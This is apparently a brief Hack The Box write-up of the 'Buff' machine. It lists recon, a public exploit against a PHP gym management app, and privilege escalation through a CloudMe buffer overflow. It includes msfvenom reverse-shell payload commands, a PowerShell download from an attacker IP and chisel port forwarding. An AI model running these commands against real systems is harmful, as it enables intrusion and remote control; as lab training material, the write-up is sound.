Buff (Hack The Box Writeup)
URL : https://app.hackthebox.eu/machines/263 IP : 10.129.2.18 Recon 掃 Port掃目錄- /Readme.md觀察首頁- SQL 檔案 找到專案 Project- https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/ 預設密碼,登入失敗試用 Exploit- 準備另外一個 reverse shell- 確認 Systeminfo- 取 Userflag- 提權 確認 Defender 有開產 Shell- msfvenom -p php/reverse_php LHOST=10.10.16.35 LPORT=7877 -f raw > shell.php powershell -c "wget http://10.10.16.35/shell.php -outFile shell.php"亂逛系統- 觀察開的 Port- netstat -ano -p tcp 觀察執行中的 Process- tasklist 發現 Downloads 資料夾有 CloudMe_1122.exe- 觀察開的 Port- 8888 但他只綁 127.0.0.1 Exploit 本地端執行./chisel server -p 9999 --reverse遠端執行- chisel.exe client 10.10.16.35:9999 R:8888:127.0.0.1:8888 把 Port 轉回 127.0.0.1:8888收封包- 使用 Exploit- https://www.exploit-db.com/exploits/48389修改 shell code- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=4444 EXITFUNC=thread -b "\x00\x0d\x0a" -f python 收 Reverse shell- 取得 Root flag-